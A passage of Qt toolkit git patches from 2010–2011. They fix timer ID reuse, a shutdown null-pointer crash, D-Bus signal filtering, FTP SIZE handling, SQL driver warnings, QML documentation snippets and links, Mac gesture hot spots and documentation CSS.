    --- a/src/corelib/kernel/qabstracteventdispatcher.cpp
    +++ b/src/corelib/kernel/qabstracteventdispatcher.cpp
    @@ -137,6 +137,12 @@ void QAbstractEventDispatcherPrivate::init()
     // free list). As an added protection, we use the cell to store an invalid
     // (negative) value that we can later check for integrity.
     //
    +// ABA prevention simply adds a value to 7 of the top 8 bits when resetting
    +// nextFreeTimerId.
    +//
    +// The extra code is the bucket allocation which allows us to start with a
    +// very small bucket size and grow as needed.
    +//
     // (continues below).
     int QAbstractEventDispatcherPrivate::allocateTimerId()
     {
    @@ -164,6 +170,8 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
             newTimerId = prepareNewValueWithSerialNumber(timerId, b[at]);
         } while (!nextFreeTimerId.testAndSetRelaxed(timerId, newTimerId));
     
    +    timerId &= TimerIdMask;
    +    timerId |= b[at] & TimerSerialMask;
         b[at] = -timerId;
     
         return timerId;
    @@ -174,12 +182,13 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
     //    X[timerId] = nextFreeTimerId;
     // then we update nextFreeTimerId to the timer we've just released
     //
    -// The extra code in allocateTimerId and releaseTimerId are ABA prevention
    -// and bucket memory. The buckets are simply to make sure we allocate only
    -// the necessary number of timers. See above.
    -//
     // ABA prevention simply adds a value to 7 of the top 8 bits when resetting
     // nextFreeTimerId.
    +//
    +// In addition to that, we update the same 7 bits in each entry in the bucket
    +// as a counter. That way, a timer ID allocated and released will always be
    +// returned with a different ID. This reduces the chances of timers being released
    +// erroneously by application code.
     void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
     {
         int which = timerId & TimerIdMask;
    @@ -187,12 +196,21 @@ void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
         int at = bucketIndex(bucket, which);
         int *b = timerIds[bucket];
     
    -    Q_ASSERT(b[at] == -timerId);
    +#ifndef QT_NO_DEBUG
    +    // debug code
    +    Q_ASSERT_X(timerId == -b[at], "QAbstractEventDispatcher::releaseTimerId", "Timer ID was not found, fix application");
    +#else
    +    if (timerId != -b[at]) {
    +        // release code
    +        qWarning("Timer ID %d was not found, fix application", timerId);
    +        return;
    +    }
    +#endif
     
         int freeId, newTimerId;
         do {
             freeId = nextFreeTimerId;//.loadAcquire(); // ### FIXME Proper memory ordering semantics
    -        b[at] = freeId & TimerIdMask;
    +        b[at] = prepareNewValueWithSerialNumber(-b[at], freeId);
     
             newTimerId = prepareNewValueWithSerialNumber(freeId, timerId);
         } while (!nextFreeTimerId.testAndSetRelease(freeId, newTimerId));
    -- 
    cgit v0.12
    
    
    From 861333040c252fa0f53894b604f7cb768c085281 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Wed, 26 Jan 2011 14:06:11 +0100
    Subject: Check if the interpolators have already been deleted.
    
    During application destruction, the order in which static destructors
    is run is undetermined. So avoid a null-pointer dereference.
    
    Task-number: QTBUG-16855
    Reviewed-by: Robin Burchell
    Patch by task reporter
    ---
     src/corelib/animation/qvariantanimation.cpp | 13 +++++++++----
     1 file changed, 9 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/animation/qvariantanimation.cpp b/src/corelib/animation/qvariantanimation.cpp
    index 212e85d..c76cb89 100644
    --- a/src/corelib/animation/qvariantanimation.cpp
    +++ b/src/corelib/animation/qvariantanimation.cpp
    @@ -431,12 +431,17 @@ void QVariantAnimation::registerInterpolator(QVariantAnimation::Interpolator fun
     {
         // will override any existing interpolators
         QInterpolatorVector *interpolators = registeredInterpolators();
    +    // When built on solaris with GCC, the destructors can be called
    +    // in such an order that we get here with interpolators == NULL,
    +    // to continue causes the app to crash on exit with a SEGV
    +    if (interpolators) {
     #ifndef QT_NO_THREAD
    -    QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
    +        QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
     #endif
    -    if (int(interpolationType) >= interpolators->count())
    -        interpolators->resize(int(interpolationType) + 1);
    -    interpolators->replace(interpolationType, func);
    +        if (int(interpolationType) >= interpolators->count())
    +            interpolators->resize(int(interpolationType) + 1);
    +        interpolators->replace(interpolationType, func);
    +    }
     }
     
     
    -- 
    cgit v0.12
    
    
    From db3d9b67ac543ddfdac649bec2c1287982d50a4e Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Mon, 20 Dec 2010 19:38:11 +0100
    Subject: Change the D-Bus signal filter to return NOT_YET_HANDLED for signals
    
    ---
     src/dbus/qdbusintegrator.cpp | 5 +++--
     1 file changed, 3 insertions(+), 2 deletions(-)
    
    diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp
    index adc3408..2e7b052 100644
    --- a/src/dbus/qdbusintegrator.cpp
    +++ b/src/dbus/qdbusintegrator.cpp
    @@ -558,8 +558,9 @@ bool QDBusConnectionPrivate::handleMessage(const QDBusMessage &amsg)
         switch (amsg.type()) {
         case QDBusMessage::SignalMessage:
             handleSignal(amsg);
    -        return true;
    -        break;
    +        // if there are any other filters in this DBusConnection,
    +        // let them see the signal too
    +        return false;
         case QDBusMessage::MethodCallMessage:
             handleObjectCall(amsg);
             return true;
    -- 
    cgit v0.12
    
    
    From 7012b6697df8472df5d772394edb0fbf7219da42 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 14 Jan 2011 20:15:37 +0100
    Subject: QNAM FTP: switch to binary mode before sending a SIZE command
    
    With some servers, SIZE is not allowed in ASCII mode or it may return
    different sizes. Since we transfer in binary anyway, better get the
    size in binary too.
    
    Reviewed-by: Peter Hartmann
    ---
     src/network/access/qnetworkaccessftpbackend.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/network/access/qnetworkaccessftpbackend.cpp b/src/network/access/qnetworkaccessftpbackend.cpp
    index 42d2955..b0303aa 100644
    --- a/src/network/access/qnetworkaccessftpbackend.cpp
    +++ b/src/network/access/qnetworkaccessftpbackend.cpp
    @@ -307,8 +307,10 @@ void QNetworkAccessFtpBackend::ftpDone()
                 // logged in successfully, send the stat requests (if supported)
                 QString command = url().path();
                 command.prepend(QLatin1String("%1 "));
    -            if (supportsSize)
    +            if (supportsSize) {
    +                ftp->rawCommand(QLatin1String("TYPE I"));
                     sizeId = ftp->rawCommand(command.arg(QLatin1String("SIZE"))); // get size
    +            }
                 if (supportsMdtm)
                     mdtmId = ftp->rawCommand(command.arg(QLatin1String("MDTM"))); // get modified time
                 if (!supportsSize && !supportsMdtm)
    -- 
    cgit v0.12
    
    
    From b7de076b698a1e0a61c6b1597db860c88dd3ee86 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 21 Jan 2011 23:04:33 +0100
    Subject: Fix warning in ODBC driver: passing NULL to non-pointer.
    
    Warning was:
    passing NULL to non-pointer argument 7 of 'SQLRETURN SQLGetDiagRecW(SQLSMALLINT, void*, SQLSMALLINT, SQLWCHAR*, SQLINTEGER*, SQLWCHAR*, SQLSMALLINT, SQLSMALLINT*)'
    ---
     src/sql/drivers/odbc/qsql_odbc.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/sql/drivers/odbc/qsql_odbc.cpp b/src/sql/drivers/odbc/qsql_odbc.cpp
    index c91aa54..8cff61b 100644
    --- a/src/sql/drivers/odbc/qsql_odbc.cpp
    +++ b/src/sql/drivers/odbc/qsql_odbc.cpp
    @@ -223,7 +223,7 @@ static QString qWarnODBCHandle(int handleType, SQLHANDLE handle, int *nativeCode
                               state_,
                               &nativeCode_,
                               0,
    -                          NULL,
    +                          0,
                               &msgLen);
             if ((r == SQL_SUCCESS || r == SQL_SUCCESS_WITH_INFO) && msgLen > 0)
                 description_.resize(msgLen+1);
    @@ -400,7 +400,7 @@ static QString qGetStringData(SQLHANDLE hStmt, int column, int colSize, bool uni
                     // colSize-1: remove 0 termination when there is more data to fetch
                     int rSize = (r == SQL_SUCCESS_WITH_INFO) ? colSize : lengthIndicator/sizeof(SQLTCHAR);
                         fieldVal += fromSQLTCHAR(buf, rSize);
    -                if (lengthIndicator < (unsigned int)colSize*sizeof(SQLTCHAR)) {
    +                if ((unsigned)lengthIndicator < colSize*sizeof(SQLTCHAR)) {
                         // workaround for Drivermanagers that don't return SQL_NO_DATA
                         break;
                     }
    -- 
    cgit v0.12
    
    
    From f34e2b62b03e35015b0eaa6b96dc982caf0f230d Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 21 Jan 2011 23:05:37 +0100
    Subject: Fix warnings in PSQL driver: handle VersionUnknown in switch
    
    ---
     src/sql/drivers/psql/qsql_psql.cpp | 6 ++++++
     1 file changed, 6 insertions(+)
    
    diff --git a/src/sql/drivers/psql/qsql_psql.cpp b/src/sql/drivers/psql/qsql_psql.cpp
    index 0a7d5bf..a044c7f 100644
    --- a/src/sql/drivers/psql/qsql_psql.cpp
    +++ b/src/sql/drivers/psql/qsql_psql.cpp
    @@ -1021,6 +1021,9 @@ QSqlIndex QPSQLDriver::primaryIndex(const QString& tablename) const
                 stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                        "pg_namespace where pg_namespace.nspname = '%1') AND ").arg(schema));
             break;
    +    case QPSQLDriver::VersionUnknown:
    +        qFatal("PSQL version is unknown");
    +        break;
         }
     
         i.exec(stmt.arg(tbl));
    @@ -1110,6 +1113,9 @@ QSqlRecord QPSQLDriver::record(const QString& tablename) const
                 stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                        "pg_namespace where pg_namespace.nspname = '%1')").arg(schema));
             break;
    +    case QPSQLDriver::VersionUnknown:
    +        qFatal("PSQL version is unknown");
    +        break;
         }
     
         QSqlQuery query(createResult());
    -- 
    cgit v0.12
    
    
    From 20a3e23bb07a8c4b363ebeb9124d04db9fe3226e Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 15:23:52 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/qml-intro.qdoc                 |  2 +-
     .../declarative/propertyaction-sequential.qml      | 72 ++++++++++++++++++++++
     doc/src/snippets/declarative/propertyaction.qml    | 62 +++++++++----------
     src/declarative/util/qdeclarativeanimation.cpp     | 13 ++--
     src/declarative/util/qdeclarativefontloader.cpp    | 14 ++++-
     5 files changed, 119 insertions(+), 44 deletions(-)
     create mode 100644 doc/src/snippets/declarative/propertyaction-sequential.qml
    
    diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
    index 7b2d999..3f3e0e4 100644
    --- a/doc/src/declarative/qml-intro.qdoc
    +++ b/doc/src/declarative/qml-intro.qdoc
    @@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
     \qml
     SomeElement {
         id: myObject
    -    ... some other things here ...
    +    // ... some other things here ...
     }
     \endqml
     
    diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
    new file mode 100644
    index 0000000..a60b1f4
    --- /dev/null
    +++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
    @@ -0,0 +1,72 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the documentation of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:BSD$
    +** You may use this file under the terms of the BSD license as follows:
    +**
    +** "Redistribution and use in source and binary forms, with or without
    +** modification, are permitted provided that the following conditions are
    +** met:
    +**   * Redistributions of source code must retain the above copyright
    +**     notice, this list of conditions and the following disclaimer.
    +**   * Redistributions in binary form must reproduce the above copyright
    +**     notice, this list of conditions and the following disclaimer in
    +**     the documentation and/or other materials provided with the
    +**     distribution.
    +**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
    +**     the names of its contributors may be used to endorse or promote
    +**     products derived from this software without specific prior written
    +**     permission.
    +**
    +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
    +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
    +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
    +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
    +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
    +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
    +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
    +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
    +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
    +** $QT_END_LICENSE$
    +**
    +****************************************************************************/
    +import QtQuick 1.0
    +
    +Row {
    +
    +    Item {
    +        width: 400; height: 400
    +
    +        Rectangle {
    +            id: rect
    +            width: 200; height: 100
    +            color: "red"
    +
    +            states: State {
    +                name: "rotated"
    +                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    +            }
    +
    +            //! [sequential]
    +            transitions: Transition {
    +                SequentialAnimation {
    +                    PropertyAction { target: rect; property: "transformOrigin" }
    +                    RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    +                }
    +            }
    +            //! [sequential]
    +
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: rect.state = "rotated"
    +            }
    +        }
    +    }
    +}
    diff --git a/doc/src/snippets/declarative/propertyaction.qml b/doc/src/snippets/declarative/propertyaction.qml
    index dd21d14..f5ae798 100644
    --- a/doc/src/snippets/declarative/propertyaction.qml
    +++ b/doc/src/snippets/declarative/propertyaction.qml
    @@ -41,45 +41,43 @@ import QtQuick 1.0
     
     Row {
     
    -//![transition]
    -Item {
    -    width: 400; height: 400
    +    //![transition]
    +    Item {
    +        width: 400; height: 400
     
    -    Rectangle {
    -        id: rect
    -        width: 200; height: 100
    -        color: "red"
    +        Rectangle {
    +            id: rect
    +            width: 200; height: 100
    +            color: "red"
     
    -        states: State {
    -            name: "rotated"
    -            PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    -        }
    +            states: State {
    +                name: "rotated"
    +                PropertyChanges { target: rect; rotation: 180; transformOrigin: Item.BottomRight }
    +            }
     
    -        transitions: Transition {
    -            RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    -        }
    +            transitions: Transition {
    +                RotationAnimation { duration: 1000; direction: RotationAnimation.Counterclockwise }
    +            }
     
    -        MouseArea {
    -            anchors.fill: parent
    -            onClicked: rect.state = "rotated"
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: rect.state = "rotated"
    +            }
             }
         }
    -}
    -//![transition]
    +    //![transition]
     
    -Item {
    -    width: 300; height: 300
    +    Item {
    +        width: 300; height: 300
     
    -    Image { id: img; source: "pics/qt.png" }
    -
    -//![standalone]
    -SequentialAnimation {
    -    PropertyAction { target: img; property: "smooth"; value: "true" }
    -    NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
    -    PropertyAction { target: img; property: "smooth"; value: "false" }
    -}
    -//![standalone]
    -}
    +        Image { id: img; source: "pics/qt.png" }
     
    +        //![standalone]
    +        SequentialAnimation {
    +            PropertyAction { target: img; property: "smooth"; value: "true" }
    +            NumberAnimation { target: img; property: "width"; to: 300; duration: 1000 }
    +            PropertyAction { target: img; property: "smooth"; value: "false" }
    +        }
    +        //![standalone]
    +    }
     }
    -
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index 5dbde15..2f53f21 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -890,14 +890,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation()
         then jump to \c Item.BottomRight. To fix this, insert a PropertyAction
         before the RotationAnimation begins:
     
    -    \qml
    -    transitions: Transition {
    -        SequentialAnimation {
    -            PropertyAction { target: rect; property: "transformOrigin" }
    -            RotationAnimation { ... }
    -        }
    -    }
    -    \endqml
    +    \snippet doc/src/snippets/declarative/propertyaction-sequential.qml sequential
         
         This immediately sets the \c transformOrigin property to the value defined
         in the end state of the \l Transition (i.e. the value defined in the 
    @@ -1186,7 +1179,9 @@ void QDeclarativeNumberAnimation::init()
     
         \qml
         Item {
    -        states: [ ... ]
    +        states: [
    +            // ...
    +        ]
     
             transition: Transition {
                 NumberAnimation { properties: "x"; from: 100; duration: 200 }
    diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
    index d39da3f..eba9cf9 100644
    --- a/src/declarative/util/qdeclarativefontloader.cpp
    +++ b/src/declarative/util/qdeclarativefontloader.cpp
    @@ -262,8 +262,18 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
     
         Example:
         \qml
    -    FontLoader { id: webFont; source: "http://www.mysite.com/myfont.ttf" }
    -    Text { text: "Fancy font"; font.family: webFont.name }
    +    Item {
    +        width: 200; height: 50
    +
    +        FontLoader {
    +            id: webFont
    +            source: "http://www.mysite.com/myfont.ttf"
    +        }
    +        Text {
    +            text: "Fancy font"
    +            font.family: webFont.name
    +        }
    +    }
         \endqml
     */
     QString QDeclarativeFontLoader::name() const
    -- 
    cgit v0.12
    
    
    From 1d85e1ce92e6df1af97bde7542467f40f7003975 Mon Sep 17 00:00:00 2001
    From: Zeno Albisser 
    Date: Thu, 20 Jan 2011 14:54:06 +0100
    Subject: Fix: define hotSpot for Gestures on Mac
    
    If there is no hotSpot defined for a gesture it cannot be propagated
    propperly within GraphicsView.
    
    Task-number: QTBUG-16618
    Reviewed-by: Denis Dzyubenko
    ---
     examples/gestures/imagegestures/imagewidget.cpp | 1 +
     src/gui/kernel/qmacgesturerecognizer_mac.mm     | 6 ++++++
     2 files changed, 7 insertions(+)
    
    diff --git a/examples/gestures/imagegestures/imagewidget.cpp b/examples/gestures/imagegestures/imagewidget.cpp
    index 12e6216..8bbb965 100644
    --- a/examples/gestures/imagegestures/imagewidget.cpp
    +++ b/examples/gestures/imagegestures/imagewidget.cpp
    @@ -1,3 +1,4 @@
    +
     /****************************************************************************
     **
     ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    diff --git a/src/gui/kernel/qmacgesturerecognizer_mac.mm b/src/gui/kernel/qmacgesturerecognizer_mac.mm
    index 0e432f3..6a4f0bb 100644
    --- a/src/gui/kernel/qmacgesturerecognizer_mac.mm
    +++ b/src/gui/kernel/qmacgesturerecognizer_mac.mm
    @@ -69,6 +69,7 @@ QMacSwipeGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 case QNativeGestureEvent::Swipe: {
                     QSwipeGesture *g = static_cast(gesture);
                     g->setSwipeAngle(ev->angle);
    +                g->setHotSpot(ev->position);
                     return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
                     break; }
                 default:
    @@ -110,6 +111,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setCenterPoint(g->startCenterPoint());
                 g->setChangeFlags(QPinchGesture::CenterPointChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::MayBeGesture | QGestureRecognizer::ConsumeEventHint;
             case QNativeGestureEvent::Rotate: {
                 g->setLastScaleFactor(g->scaleFactor());
    @@ -117,6 +119,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setRotationAngle(g->rotationAngle() + ev->percentage);
                 g->setChangeFlags(QPinchGesture::RotationAngleChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             }
             case QNativeGestureEvent::Zoom:
    @@ -125,6 +128,7 @@ QMacPinchGestureRecognizer::recognize(QGesture *gesture, QObject *obj, QEvent *e
                 g->setScaleFactor(g->scaleFactor() * (1 + ev->percentage));
                 g->setChangeFlags(QPinchGesture::ScaleFactorChanged);
                 g->setTotalChangeFlags(g->totalChangeFlags() | g->changeFlags());
    +            g->setHotSpot(ev->position);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             case QNativeGestureEvent::GestureEnd:
                 return QGestureRecognizer::FinishGesture | QGestureRecognizer::ConsumeEventHint;
    @@ -221,6 +225,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                     const QPointF posOffset = p - _startPos;
                     g->setLastOffset(g->offset());
                     g->setOffset(QPointF(posOffset.x(), posOffset.y()));
    +                g->setHotSpot(_startPos);
                     return QGestureRecognizer::TriggerGesture;
                 }
             } else if (_panTimer.isActive()) {
    @@ -239,6 +244,7 @@ QMacPanGestureRecognizer::recognize(QGesture *gesture, QObject *target, QEvent *
                     break;
                 // Begin new pan session!
                 _startPos = QCursor::pos();
    +            g->setHotSpot(_startPos);
                 return QGestureRecognizer::TriggerGesture | QGestureRecognizer::ConsumeEventHint;
             }
             break; }
    -- 
    cgit v0.12
    
    
    From 836c4f622b16524aedb00e8866ddd883f1346cb5 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:09:39 +0100
    Subject: Doc: Added a link from the plugin guide to the plugin deployment
     guide.
    
    Task-number: QTBUG-9501
    ---
     doc/src/frameworks-technologies/plugins-howto.qdoc | 9 +++++++--
     1 file changed, 7 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc
    index 3dc2996..b332d57 100644
    --- a/doc/src/frameworks-technologies/plugins-howto.qdoc
    +++ b/doc/src/frameworks-technologies/plugins-howto.qdoc
    @@ -48,7 +48,7 @@
     
         \ingroup frameworks-technologies
         \ingroup qt-basic-concepts
    -	
    +
     
         \keyword QT_DEBUG_PLUGINS
         \keyword QT_NO_PLUGIN_CHECK
    @@ -87,7 +87,7 @@
         directory.
     
         \table
    -    \header \o Base Class              \o Directory Name                \o Key Case Sensitivity
    +    \header \o Base Class              \o Directory Name      \o Key Case Sensitivity
         \row    \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive
         \row    \o QAccessiblePlugin       \o \c accessible       \o Case Sensitive
         \row    \o QDecorationPlugin       \o \c decorations      \o Case Insensitive
    @@ -309,5 +309,10 @@
         to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is
         defined.
     
    +    \section1 Deploying and Debugging Plugins
    +
    +    The \l{Deploying Plugins} document covers the process of deploying
    +    plugins with applications and debugging them when problems arise.
    +
         \sa QPluginLoader, QLibrary, {Plug & Paint Example}
     */
    -- 
    cgit v0.12
    
    
    From fd399bcd1c55e6e4b7ecab856167599e5a9d153c Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:54:07 +0100
    Subject: Doc: Added preprocessor coloring.
    
    ---
     doc/src/template/style/offline.css | 10 +++++++++-
     doc/src/template/style/style.css   | 10 +++++++++-
     2 files changed, 18 insertions(+), 2 deletions(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index f5eb1c0..fe9aa13 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -174,7 +174,7 @@
         }
         span.operator
         {
    -        color: black;
    +        color: #202020;
         }
         span.keyword
         {
    @@ -188,6 +188,14 @@
         {
             font-weight: bold
         }
    +    span.type a:visited
    +    {
    +        color: #0F5300;
    +    }
    +    span.preprocessor
    +    {
    +        color: #404040
    +    }
     /* end basic elements */
     
     /* font style elements */
    diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
    index c35acac..cac4e58 100755
    --- a/doc/src/template/style/style.css
    +++ b/doc/src/template/style/style.css
    @@ -200,7 +200,7 @@
         }
         span.operator
         {
    -        color: black;
    +        color: #202020;
         }
         span.keyword
         {
    @@ -214,6 +214,14 @@
         {
             font-weight: bold
         }
    +    span.type a:visited
    +    {
    +        color: #0F5300;
    +    }
    +    span.preprocessor
    +    {
    +        color: #404040
    +    }
     /* end basic elements */
     
     /* font style elements */
    -- 
    cgit v0.12
    
    
    From c5bd324a9216e37e907e9c85c0fe96b58772eaa2 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 16:57:04 +0100
    Subject: Doc: Fixed qdoc warnings about broken links.
    
    ---
     doc/src/declarative/advtutorial.qdoc                 |  3 +--
     doc/src/declarative/qdeclarativeintro.qdoc           | 10 +++++-----
     doc/src/examples/qml-examples.qdoc                   |  4 ++--
     src/declarative/util/qdeclarativeanimation.cpp       |  2 +-
     src/declarative/util/qdeclarativestateoperations.cpp |  2 +-
     5 files changed, 10 insertions(+), 11 deletions(-)
    
    diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
    index 6cd1f22..263c78b 100644
    --- a/doc/src/declarative/advtutorial.qdoc
    +++ b/doc/src/declarative/advtutorial.qdoc
    @@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this:
     \image declarative-samegame.png
     
     We will cover concepts for producing a fully functioning application, including
    -JavaScript integration, using QML  \l States and \l {Behavior}{Behaviors} to 
    +JavaScript integration, using QML  \l{State}{States} and \l{Behavior}{Behaviors} to 
     manage components and enhance your interface, and storing persistent application data.
     
     An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
    @@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
     
     There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
     demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
    -
     */
    diff --git a/doc/src/declarative/qdeclarativeintro.qdoc b/doc/src/declarative/qdeclarativeintro.qdoc
    index 9b96d43..02692de 100644
    --- a/doc/src/declarative/qdeclarativeintro.qdoc
    +++ b/doc/src/declarative/qdeclarativeintro.qdoc
    @@ -27,7 +27,7 @@
     
     /*!
     \page qdeclarativeintroduction.html
    -\title Introduction to the QML language
    +\title Introduction to the QML Language
     
     \tableofcontents
     
    @@ -121,7 +121,7 @@ line opacity: 0.5 has been turned into a comment.
     
     
     
    -\section1 Object identifiers
    +\section1 Object Identifiers
     
     Each object can be given a special \e id value that allows the object to be identified
     and referred to by other objects.
    @@ -194,7 +194,7 @@ automatically updated.
     \section1 Properties
     \target intro-properties
     
    -\section2 Basic property types
    +\section2 Basic Property Types
     
     QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int,
     \c real, \c bool, \c string and \c color.
    @@ -222,7 +222,7 @@ Note that with the exception of \l {Attached Properties}, properties always begi
     letter.
     
     
    -\section2 Property change notifications
    +\section2 Property Change Notifications
     
     When a property changes value, it can send a signal to notify others of this change.
     
    @@ -271,7 +271,7 @@ Items in the list can be accessed by index. See the \l{list}{list type} document
     for more details about list properties and their available operations.
     
     
    -\section2 Default properties
    +\section2 Default Properties
     
     Each object type can specify one of its list or object properties as its default property.
     If a property has been declared as the default property, the property tag can be omitted.
    diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc
    index 46af110..cd1bbe7 100644
    --- a/doc/src/examples/qml-examples.qdoc
    +++ b/doc/src/examples/qml-examples.qdoc
    @@ -68,7 +68,7 @@
         \title Animation: States Example
         \example declarative/animation/states
     
    -    These examples show how to use \l{States}{states} and \l{Transitions}{transitions}.
    +    These examples show how to use \l{State}{states} and \l{Transition}{transitions}.
     
         The \c states.qml example shows how an item can change between states, and \c transitions.qml
         shows how these state changes can be animated.
    @@ -664,7 +664,7 @@
     
         This example shows how to create a tab widget. It also demonstrates how
         \l {Property aliases}{property aliases} and
    -    \l {Default Properties}{default properties} can be used to collect and
    +    \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and
         assemble the child items declared within an \l Item.
     
         \image qml-tabwidget-example.png
    diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp
    index 2f53f21..bd3234f 100644
    --- a/src/declarative/util/qdeclarativeanimation.cpp
    +++ b/src/declarative/util/qdeclarativeanimation.cpp
    @@ -732,7 +732,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t)
         \inherits Animation
         \brief The ScriptAction element allows scripts to be run during an animation.
     
    -    ScriptAction can be used to run script at a specific point in an animation.
    +    ScriptAction can be used to run a script at a specific point in an animation.
     
         \qml
         SequentialAnimation {
    diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp
    index dd49dde..9a5aa66 100644
    --- a/src/declarative/util/qdeclarativestateoperations.cpp
    +++ b/src/declarative/util/qdeclarativestateoperations.cpp
    @@ -634,7 +634,7 @@ void QDeclarativeStateChangeScript::setScript(const QDeclarativeScriptString &s)
         This property holds the name of the script. This name can be used by a
         ScriptAction to target a specific script.
     
    -    \sa ScriptAction::stateChangeScriptName
    +    \sa ScriptAction::scriptName
     */
     QString QDeclarativeStateChangeScript::name() const
     {
    -- 
    cgit v0.12
    
    
    From d9e4393ef212dba9eeba68277b270d68bcdbc733 Mon Sep 17 00:00:00 2001
    From: Aaron Kennedy 
